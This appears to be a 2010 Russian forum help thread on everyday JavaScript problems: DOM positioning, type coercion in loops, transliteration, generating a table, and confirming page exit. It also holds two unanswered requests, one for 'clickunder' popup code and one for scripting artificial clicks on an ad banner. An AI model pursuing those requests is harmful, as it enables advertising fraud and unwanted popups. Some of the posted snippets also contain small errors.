я знаю, я исправил и заместь 0 ставлю 1000
когда чисто в НТМЛ то норм все, а когда пытаюсь подкчючить с сайта (.....<script scr = dsdasd.js...) чето не пашет(

j0ker13
27.02.2010, 15:38
попробуй в скрипт записать
alert(1);
и подключить - если алерт вылетит значит косяк в скрипте если нет - значит подключаешь неправильно.
скидывай и сам скрипт и хтмл где его подключаешь


2ntl
на js вроде никак. нада +флеш
h--p://markup-javascript.com/2009/04/14/javascript-biblioteka-dlya-proigryvaniya-mp3/

j0ker13
27.02.2010, 15:43
-------

Ulose
28.02.2010, 11:34
как на js узнать длительность mp3 треков?

Никак. Разве что напишешь или найдёшь где-то mp3-парсер на JS, что есть малореально.

Spooky404
28.02.2010, 14:10
UPD: Отбой, сам все сделал :)

Seravin
28.02.2010, 15:28
Не могу догнать: у меня есть div(id=AAA) в div'е, а он в свою очередь в div'е. Как мне узнать расстояние от левой границы окна до дива AAA????

barkasik
28.02.2010, 17:42
подскажите код кликандера открывающего 3 окна с моими ссылками?

Flcn
28.02.2010, 19:06
Не могу догнать: у меня есть div(id=AAA) в div'е, а он в свою очередь в div'е. Как мне узнать расстояние от левой границы окна до дива AAA????
ну есть же свойство которое возвращает расстояние от границ до родительского элемента.. а если и не везде есть то что мешает вычислить разницу между текущим (ААА) и parent элементов

Dark_cracker
01.03.2010, 18:05
интересует какие данные (post) посылает (на path/file.php) этот скрипт и как он получает ответ ))
<script> m_syn = new Array(); m_sel = new Array(); dict_name = ""; function SetMas(t) { m_syn.length = 0; m_sel.length = 0; var m1 = new Array(); var m2 = new Array(); m1 = t.split("|||"); window.document.getElementById("time_exe").innerHTML = m1[3]; m2 = m1[1].split("|"); if (m2[ m2.length-3 ] != undefined) window.document.getElementById("zam_c").innerHTML = m2[ m2.length-3 ]; else window.document.getElementById("zam_c").innerHTML = "0"; for (i=1; i<=m2[ m2.length-3 ]; i++) { m_syn[i] = new Array(); m_sel[i] = new Array(); m_syn[i].length = 0; m_sel[i].length = 0; } var j = -1; var k = 0; for (var i=0; i<m1[0]; i++) { j = j+1; k = j; j = j+1; m_syn[ m2[k] ][m_syn[ m2[k] ].length] = m2[j]; j = j+1; m_sel[ m2[k] ][m_sel[ m2[k] ].length] = m2[j]; } return m1[2]; } function TrClick(z_n, syn_n) { for (var i=0; i<m_sel[z_n].length; i++) { m_sel[z_n][i] = 0; } m_sel[z_n][syn_n] = 1; document.getElementById('s'+z_n).innerHTML = m_syn[z_n][syn_n]; document.getElementById('s'+z_n).style.background = "#DDFFDD"; syn_list_close(); if(syn_n != 0) $.post("path/file.php", {word:m_syn[z_n][0], syn:m_syn[z_n][syn_n], dict:dict_name}); } $(document).ready(function() { $("#run").click( function() { if (document.getElementById('textarea_i').value.lengt h>10000) alert("Текст максимум 10000 символов."); else { syn_list_close(); document.getElementById("out").innerHTML = '<center><img src="online/image/loading.gif" width="32" height="32"></center>'; dict_name = document.getElementById("dict").value; $.post("online/run.php", {text:document.getElementById("textarea_i").value, dict:dict_name}, function(data) { //alert("sdfsd"); if (data.length>0) { data = SetMas(data); window.document.getElementById("out").innerHTML = "<br>"+data+"<br><br><br><br><br><br><br><br>"; } }) } }); }); function CheckLength() { var len = document.getElementById('textarea_i').value.length ; document.getElementById('char_count').innerHTML = len; if (len>10000) { document.getElementById('char_count').style.color = "#AA0000"; } else { document.getElementById('char_count').style.color = "#000000"; } } setInterval(CheckLength, 500) function delrows(tableId) { var tab = document.getElementById(tableId); var tb = tab.getElementsByTagName('TBODY')[0]; var count = document.getElementById('select_syn').rows.length; for(var i=0; i<count; i++) { document.getElementById('select_syn').deleteRow(0) ; } } function add_syn(text, id, syn) { var newrow = document.getElementById('select_syn').insertRow(-1); var cell = newrow.insertCell(-1); cell.innerHTML = text; cell.id = id; cell.height = 25; cell.onclick = function() { TrClick(syn, id); } cell.onmousemove = function() { cell.style.background = "#FFDDDD"; } cell.onmouseout = function() { if ( (m_sel[syn][id]==1) ) cell.style.background = "#DDFFDD"; else cell.style.background = "#F3F8F3"; } cell.align = "center"; cell.valign = "middle"; } function syn_show(syn) { var x=0, y=0; var obj = document.getElementById('s'+syn); var obj2 = document.getElementById('select_syn'); delrows("select_syn"); syn_list_close(); if ( (document.getElementById('s'+syn).style.background == "#ffdddd") | (document.getElementById('s'+syn).style.background == "rgb(255, 221, 221) none repeat scroll 0% 0%") | (document.getElementById('s'+syn).style.background == "rgb(255, 221, 221)") ) { document.getElementById('s'+syn).style.background = "#DDFFDD"; return 0; } for (i=1; i<m_syn.length; i++) document.getElementById('s'+i).style.background = "#DDFFDD"; document.getElementById('s'+syn).style.background = "#FFDDDD"; while(obj) { x += obj.offsetLeft; y += obj.offsetTop; obj = obj.offsetParent; } obj2.style.display = "block"; obj2.style.left = x+1; obj2.style.top = y+16; add_syn("<b>"+m_syn[syn][0]+"</b>", 0, syn); if (m_sel[syn][0]==1) obj2.rows[0].style.background = "#DDFFDD"; else obj2.rows[0].style.background = "#F3F8F3"; for (i=1; i<m_syn[syn].length; i++) { add_syn(m_syn[syn][i], i, syn); if (m_sel[syn][i]==1) obj2.rows[i].style.background = "#DDFFDD"; else obj2.rows[i].style.background = "#F3F8F3"; } } function syn_list_close() { document.getElementById("select_syn").style.display = "none"; } function setCookie(name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); } </script> не получаетсья норм код выложить(((
http://slil.ru/28725608
вот код

Seravin
04.03.2010, 01:35
ну есть же свойство которое возвращает расстояние от границ до родительского элемента.. а если и не везде есть то что мешает вычислить разницу между текущим (ААА) и parent элементов
да тут миллион проблем с этим... Три браузера у все отображают по разному

admink1
05.03.2010, 10:14
вот допустим у меня есть сайт с установленным баннером - http://client.popunder.ru/techsample.php?us

а нельзя сделать искуственный клик на компьютера с помощью яваскрипт?
допустим, мы знаем разрешение экрана, и написать скрипт: кликнуть (x,y)

ZnikiR
08.03.2010, 16:37
http://forum.antichat.ru/thread184940.html
помогите.
тему мне хочсется переносить

GhOsT_MZ
09.03.2010, 21:20
Как передать (PHP) HTML через JSON? Суть в том, что нужно передать 2 блока информации, которые должны будут размещены в разных частях страницы. Единственный наиболее вариант - JSON. Так как блоги большого объема, приходится формировать HTML-код на сервере.
Так вот, не получается нормально передать эту радость. При использовании в клиентской части функции eval, получаю ошибку. При попытке использовать функцию $.getJSON из jQuery - не получаю ничего.
Формирование JSON-данных (на входе ассоциированный массив):
function array2json($arr) {
$parts = array();
$is_list = false;
if (!is_array($arr)) return;
if (sizeof($arr) < 1) return '{}';

//Find out if the given array is a numerical array
$keys = array_keys($arr);
$max_length = sizeof($arr) - 1;
if (($keys[0] == 0) && ($keys[$max_length] == $max_length)) {//See if the first key is 0 and last key is length - 1
$is_list = true;
for ($i=0; $i < sizeof($keys); $i++) { //See if each key correspondes to its position
if ($i != $keys[$i]) { //A key fails at position check.
$is_list = false; //It is an associative array.
break;
}
}
}

foreach($arr as $key => $value) {
if (is_array($value)) { //Custom handling for arrays
if ($is_list)
$parts[] = array2json($value); /* :RECURSION: */
else
$parts[] = '"' . $key . '":' . array2json($value); /* :RECURSION: */
} else {
$str = '';
if (!$is_list)
$str = '"' . $key . '":';

//Custom handling for multiple data types
if (is_numeric($value))
$str .= $value; //Numbers
elseif ($value === false)
$str .= 'false'; //The booleans
elseif ($value === true)
$str .= 'true';
else
$str .= '"' . addslashes($value) . '"'; //All other things
// :TODO: Is there any more datatype we should be in the lookout for? (Object?)

$parts[] = $str;
}
}
$json = implode(',', $parts);

if ($is_list)
return '[' . $json . ']';//Return numerical JSON
return '{' . $json . '}';//Return associative JSON
}
Сам вывод в PHP:
print(array2json($ajax_data));

Клиентская часть:
$.getJSON(
"movies.php?ajax=1&" + newq,
{},
function(data) {
queries++;
alert(data);
c
.empty()
.append(data['data']);
if (data["stat"]) {
$('#ajax_footer').show();
$('#ajax_query')
.clone(true)
.appendTo("#ajax_footer")
.children(".header")
.append(queries)
.parent()
.children(".data")
.append(data['stat']);
}
});

Может кто подскажет, что делаю не так?

XopoIII
12.03.2010, 08:49
Нужно обратиться к обьекту находящимуся во фрейме...
к самому фрейму обращаюсь след образом
document.getElementsByName('menu')[0]; //id нет, и не нужно
во фрейме есть изображение <img id=state src="smode.gif">
пытаюсь обратиться к нему через фрейм, неполучается...
document.getElementsByName('menu')[0].getElementById('state').src

Pashkela
12.03.2010, 18:08
document.getElementById('qqq').innerHTML = 'Surname: '+x+' Name: '+y+' Middle: '+z' ;

после z кавычка не нужна

оlbaneс
12.03.2010, 18:18
document.getElementById('qqq').innerHTML = 'Surname: '+x+' Name: '+y+' Middle: '+z' ;

после z кавычка не нужна
фак мой мозг!!! ++

оlbaneс
12.03.2010, 19:37
надо вывести сумму элементов до определенного числа (число вводится с клавы)
x = document.forms[0].elements['x'].value;
x+=1;
for (var i=0; i<x; i++){ a+=i;}
выводит безумные цифры: например ввожу х= 1 выводит 55. как она высчитала 55? ввожу 4 выводит 820. что за безумный ад?
на с++ бы это работало. в чем здесь заковыка?

m0Hze
12.03.2010, 20:15
Вопрос достаточно простой думаю,но сам в жабе не шарю =(
Есть текстовое поле, в нем значение меняется(пользователем)
Каждые 5 секунд запускаеться ф-ция(она ниже), и сравнивает теперешнее значение поля,с предидущим.Так вот, никак не получаеться хранить предыдущее значение :(
Делаю так:

function a(){
var msg = $('#Message').val();
var status;
if(lastmsg != msg){
status = 1;
}else{
status = 0;
}
lastmsg = msg;
pewpew...
}

Pashkela
12.03.2010, 20:21
2 m0Hze:

в куки пиши

2 оlbaneс:

https://forum.antichat.net/threadnav40896-1514-10.html

m0Hze
12.03.2010, 20:23
2 m0Hze:

в куки пиши

2 оlbaneс:

https://forum.antichat.net/threadnav40896-1514-10.html
Подругому никаг?(
Странно то,что я в другой ф-ции обозначаю переменную для всего скрипта,а тут сцук никак :(
обидно нах!1
Ок,буду работать с кукаме!

оlbaneс
12.03.2010, 20:47
Паш, там пхп, а мне на яваскрипте надо :(

Pashkela
12.03.2010, 20:58
дык тоже самое:

<script>
var sum = 0;
for (var i=1;i<=36;i++)
sum = sum+i;
alert(sum);
</script>

m0Hze
12.03.2010, 21:11
Me win ;)

оlbaneс
12.03.2010, 21:29
дык тоже самое:

<script>
var sum = 0;
for (var i=1;i<=36;i++)
sum = sum+i;
alert(sum);
</script>
да через алерт работает, но у меня другой случай - ввод данных в форму и вывод через document
вот сам скрипт без хтмл
function two()
{
var a=0;
x = document.forms[0].elements['x'].value;
x+=1;
for (var i=0; i<x; i++){ a+=i;}
document.getElementById('qqq').innerHTML = 'Результат ='+a ;
}
а что оно выводит я писал выше. какая-то безумная магия. :(

Pashkela
12.03.2010, 21:35
ну дык замени a+=i; на a = a+i;

ну просто вот такой код:

function two() {
var a=0;
x = document.forms[0].elements['x'].value;
for (var i=1; i<=x; i++)
a = a+i;
document.getElementById('qqq').innerHTML = 'Результат ='+a;
}


если клиент дебил и вставит 0 или 1 - можно в скрипт проверку и на это засунуть.

astrologer
12.03.2010, 21:47
да через алерт работает, но у меня другой случай - ввод данных в форму и вывод через document
вот сам скрипт без хтмл
function two()
{
var a=0;
x = document.forms[0].elements['x'].value;
x+=1;
for (var i=0; i<x; i++){ a+=i;}
document.getElementById('qqq').innerHTML = 'Результат ='+a ;
}
а что оно выводит я писал выше. какая-то безумная магия. :(
x - это строка. Соответственно при (x += 1) происходит не сложение, а конкатенация и получается "11" вместо 2 и т. п. При сравнении (i < x) оба аргумента преобразуется к числовому типу (этого не происходит только если с обеих сторон - строки). Далее всё достаточно очевидно.

Кстати, это называется арифметическая прогрессия и её сумма считается без циклов.

оlbaneс
12.03.2010, 21:57
Паш, безумный ад. я пробовал и так. и даже думал что она их соединяет и писал так a=a+i*1
а твой код заработал. выяснил методом тыка , что все дело в выражени for (var i=0; i<x; i++) i<x -вот так пишет всякую херню, а вот так работает нормально i<=x .
все дело в знаке =. 0_0.


2 астрологер. пока метод тыка осваивал ты ответ написал. в том то и дело не происходила конкатенация. если вводил 1 полчал 55 если 4 получал 820. даже не представляю как она считала.

astrologer
12.03.2010, 22:10
в том то и дело не происходила конкатенация Как будто у неё выбор есть. Достаточно проверить тип и значение x и всё станет ясно:<script>

function fn()
{
var a = 0;
var x = document.forms[0].elements['x'].value;
x += 1;

alert('x: ' + typeof x + ': ' + x);
for (var i = 0; i < x; i++){ a+=i; }
alert('i: ' + i);

document.getElementById('qqq').innerHTML = 'Результат ='+a ;
}

</script>
<form>
<input name="x" id="x" onchange="fn()">
</form>
<pre id="qqq"></pre>если вводил 1 полчал 55 если 4 получал 820. даже не представляю как она считала. Так и считала, для "11" и "41" соответственно.

Tesson
13.03.2010, 16:47
Не могу сделать транслит вот код и http://tesson.tk/translit.js
<html>
<head>
<title>Транслит</title>
<script type='text/javascript' src='http://tesson.tk/translit.js'></script>
</head>
<body>

Транслит:<input type="checkbox" name="transl" id="transl">
<input type="text" id="text" onkeypress="if($('#transl').attr('checked')) translate_letter(event, this, rules=1);">

</body>
</html>
что не так сделал?

Pashkela
13.03.2010, 17:09
<script>
var rusChars = new Array('а','б','в','г','д','е','ё','ж','з' ,'и','й', 'к','л','м','н','о','п','р','с','т','у', 'ф','х','ч ','ц','ш','щ','э','ю','\я','ы','ъ','ь', ' ', '\'', '\"', '\#', '\$', '\%', '\&', '\*', '\,', '\:', '\;', '\<', '\>', '\?', '\[', '\]', '\^', '\{', '\}', '\|', '\!', '\@', '\(', '\)', '\-', '\=', '\+', '\/', '\\');
var transChars = new Array('a','b','v','g','d','e','jo','zh','z','i','j ','k','l','m','n','o','p','r','s','t','u','f','h', 'ch','c','sh','csh','e','ju','ja','y','', '', ' ', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
var from = "";

function convert2EN()
{
from = document.getElementById("Message").value;
from = from.toLowerCase();
var to = "";
var len = from.length;
var character, isRus;
for(var i=0; i < len; i++)
{
character = from.charAt(i,1);
isRus = false;
for(var j=0; j < rusChars.length; j++)
{
if(character == rusChars[j])
{
isRus = true;
break;
}
}
to += (isRus) ? transChars[j] : character;
}
document.form1.Message.value = to;
}
</script>

<FORM NAME="form1">
<textarea name="Message" id="Message" cols="30" rows="5" class="text"></textarea><br>
<input type="button" value="Транслит" onclick="convert2EN()">
</FORM>

Tesson
13.03.2010, 17:18
Pashkela, надо через checkbox и через мой tesson.tk/translit.js :rolleyes:

Pashkela
13.03.2010, 18:51
у тебя функция есть, модифицируй её как хочешь, готовый код за тебя никто писать не будет

Tesson
13.03.2010, 19:23
у тебя функция есть, модифицируй её как хочешь, готовый код за тебя никто писать не будет

помогут другие если не ты :o

Deathdreams
13.03.2010, 23:09
помогут другие если не ты :o
:LOL:

GhOsT_MZ
14.03.2010, 03:19
Pashkela, надо через checkbox и через мой tesson.tk/translit.js :rolleyes:
Зачем?О_о Ведь он достаточно громоздкий, а Pashkela предложил более простой и производительный вариант. Или в твоем скрипте есть какой-то особенный функционал, без которого не обойтись?

оlbaneс
15.03.2010, 19:08
чет никак нагуглить не могу.
как в ячейки таблицы (вместо знака пробела)вставить данные скрипта? в данном случае скрипт заполняет таблицу умножения
//алерт не предлагать :)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<meta name="generator" content="PSPad editor, www.pspad.com">
<title></title>
<style>
table {border:darkred solid 1px;}
td { text-align:center;width:40px;background-color:lightgrey;border:darkred solid 1px; }
td.one {font-weight:bold; background-color: grey; }
</style>
<script>
var c,j=1;
for (var i=1;i<10;i++) {c=i*j;j++;}
//как вывести значения в таблицу?
</script>
</head>
<body>

<h2 align="center"><b> table</b></h3>
<table align="center" cellpadding="5" border="1" cellspacing="0">
<tbody><tr>
<td class="one">&nbsp;</td>
<td class="one">1</td>
<td class="one">2</td>
<td class="one">3</td>
<td class="one">4</td>
<td class="one">5</td>
<td class="one">6</td>
<td class="one">7</td>
<td class="one">8</td>
<td class="one">9</td>
<td class="one">10</td>
</tr>

<td class="one">1</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>

<tr>
<td class="one">2</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>


</tbody></table>
</body>
</html>

Omegа
15.03.2010, 20:26
Каждой ячейке присваиваешь свой id, вставлять примерно так:
document.getElementById('id').innerHTML = i*j;

lotec777
15.03.2010, 22:36
Знаю что есть простые ошибки но немогу найти(( если не тяжело укажите
<form name=forma1> <table width="152" height="161" border="1">
<tr> <td valign="top"><p class="стиль1">Количество ядер :
<input type="text" name="textfield" /> </p> <p class="стиль1">Тип ядер:
<select name="select">
<option value="1">Обычные</option>
<option value="2">Элитные</option>
<option value="3">Шрапнельные</option>
</select> </p> <p class="стиль1">Урон +5%:
<input type="checkbox" name="checkbox2" value="checkbox" /> </p>
<input type="button" value="OK" onClick="obsh(forma1);"> <p class="стиль1">Можно нанести урона: <label>
<input type="text" name="textfield2"> </label> </p></td> </tr> </table> </form>
<script language="javascript">
function Obsh(obj) {
var a=obj.forma1.textfield.value;
var x;
if (obj.forma1.elements[2] [1].selected)
x=a*20*0.80;
if (obj.forma1.elements[2] [2].selected)
x=a*75*0.80;
if (obj.forma1.elements[2] [3].selected)
x=a*85*0.80;
if (obj.forma1.elements[3].checked)
x=x*1.05;
obj.forma1.textfield2.value="x";
}
</script>
ПС: пишу только 1 день

оlbaneс
15.03.2010, 22:55
Каждой ячейке присваиваешь свой id, вставлять примерно так:
document.getElementById('id').innerHTML = i*j;
это-то понятно. я хз как передать значение i
document.getElementById(i).innerHTML = i*j;
в
td><p id="1">&nbsp;</p></td>
<td><p id="2">&nbsp;</p></td>

BrainDeaD
15.03.2010, 23:16
в цикле например.

оlbaneс
15.03.2010, 23:28
в цикле например.
да понимаю что в цикле. синтаксис не знаю и не могу найти.
вот весь код (таблицу целиком не стал выкладывать)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<meta name="generator" content="PSPad editor, www.pspad.com">
<title></title>
<style>
table {border:darkred solid 1px;}
td { text-align:center;width:40px;background-color:lightgrey;border:darkred solid 1px; }
td.one {font-weight:bold; background-color: grey; }
</style>
<script>
for (var i=1;i<11;i++) {
for (var j=1;j<11;j++){
document.getElementById(i).innerHTML = i*j; //вот эту строчку
}
//как вывести значения в таблицу?
</script>
</head>
<body>

<h2 align="center"><b>Multiplication table</b></h3>
<table align="center" cellpadding="5" border="1" cellspacing="0">
<tbody><tr>
<td class="one">&nbsp;</td>
<td class="one">1</td>
<td class="one">2</td>
<td class="one">3</td>
<td class="one">4</td>
<td class="one">5</td>
<td class="one">6</td>
<td class="one">7</td>
<td class="one">8</td>
<td class="one">9</td>
<td class="one">10</td>
</tr>

<td class="one">1</td>
<td><p id="1">&nbsp;</p></td>
<td><p id="2">&nbsp;</p></td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>

<tr>
<td class="one">2</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>


</tbody></table>
</body>
</html>

Pashkela
15.03.2010, 23:32
во:


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<meta name="generator" content="PSPad editor, www.pspad.com">
<title></title>
<style>
table {border:darkred solid 1px;}
td { text-align:center;width:40px;background-color:lightgrey;border:darkred solid 1px; }
td.one {font-weight:bold; background-color: grey; }
</style>
</head>
<body>
<h2 align="center"><b> table</b></h3>
<table align="center" cellpadding="5" border="1" cellspacing="0">
<tr>
<script>
document.write("<td class='one'></td>");
for (var s=1; s<=10; s++)
document.write("<td class='one'>"+s+"</td>");
document.write("<tr>");
for (var i=1; i<=10; i++) {
document.write("<td class='one'>"+i+"</td>");
for (var j=1; j<=10; j++)
document.write("<td>"+String(i*j)+"</td>");
document.write("</tr>");
}
</script>
</table>
</body>
</html>

оlbaneс
16.03.2010, 00:03
паштет, спасибо.
*покраснел


разобрал код и покраснел еще больше. примерно так себе это и представлял только не знал, что так можно

AtomoS
16.03.2010, 16:11
есть блок на странице:
<div id="header">antichat.ru</div>
к нему css:
#header {width:350px;}
нужно с помошью ссылки с onclick'ом изменить параметр width на 600px
отдельная фунукция не нужно. всё должно быть в ссылке..

diGriz
16.03.2010, 17:34
2 AtomoS
<a href="#" onclick="document.getElementById('header').style.width='600 px'">click</a>

scorpic393
16.03.2010, 23:56
Подскажите плиз. Имееться форма с полями типа регистрация юзера. там есть checkbox, при нажати на который должно появится/убраться поле textarea под другими полями.
при попытке использовать document.write - перегружаеться вся страница, а не добоаляеться поле ниже... подскажите плиз как это реализваоть

Omegа
17.03.2010, 01:24
scorpic393, попробуй примерно так
<script>
function sh(a) {
if(a==0) {
document.getElementById("sh").onclick = "sh(1)";
document.getElementById("sh").innerHTML = "Show";
document.getElementById("txt").style.display = "none";
} else {
document.getElementById("sh").onclick = "sh(0)";
document.getElementById("sh").innerHTML = "Hide";
document.getElementById("txt").style.display = "inline";
}
}
</script>
<span id="sh" onclick="sh(0)" style="text-decoration: underline">Hide</span><br>
<textarea id="txt"></textarea>

mind
17.03.2010, 04:48
подскажите где собака зарыта...
нужно переделать имеющийся календарик на JS (если есь альтернатива дайте ссыль плиз), так чтобы он формировал дату в формате гггг-мм-дд. тот что имеется формирует только день ((( в сорцах разобраться нефига не получается

ИСХОДНИК (http://dump.ru/file/4448234 )
буду очень благодарен за совет!

m0Hze
18.03.2010, 15:06
На википедии в адресной строке, русские символы отображаются как расские символы,а не как urlencod'ированные.Как такого добиться? Возможно ли это с жабаскриптом,или только если в about:confog стоит нужная галочка?

dr.Web
18.03.2010, 23:47
мне кажется что сервер так настроен или чтото в htaccess прописано

krypt3r
19.03.2010, 07:53
Имхо, это от браузера зависит. В старых версиях FF урленкод

m0Hze
19.03.2010, 10:35
Угу,я так и думал :)
Но вот википедия у меня и в старых операх отображалось рускими буквами)

Life7
19.03.2010, 17:52
Не могу догнать: у меня есть div(id=AAA) в div'е, а он в свою очередь в div'е. Как мне узнать расстояние от левой границы окна до дива AAA????

Nyter
19.03.2010, 20:49
нужно сделать так, что бы после нажатия на кнопку закрытия вкладки или окна с web-страницей появлялся запрос с моим текстом на подтверждение закрытия.
например: "вы действительно хотите покинуть страницу?"
и два варианта ответа "да" и "нет", если "да" то закрываем страницу, если нет - оставляем.

поковырявшись в яше, вот что то типа этого смог "нарезать", но оно не работает :(
<body onUnLoad="function OnExit() {
if (confirm ("Вы действительно хотите закрыть это окошко?"))
top.close();">
скорее всего синтексис не правильный, а мб вообще не так.
приведите плиз пример рабочего скрипта, желательно на javascript.

Заранее, большое СПАСИБО!

diGriz
19.03.2010, 21:19
2 Nyter
Смотри событие onbeforeunload. Статья по теме - http://habrahabr.ru/blogs/jquery/88071/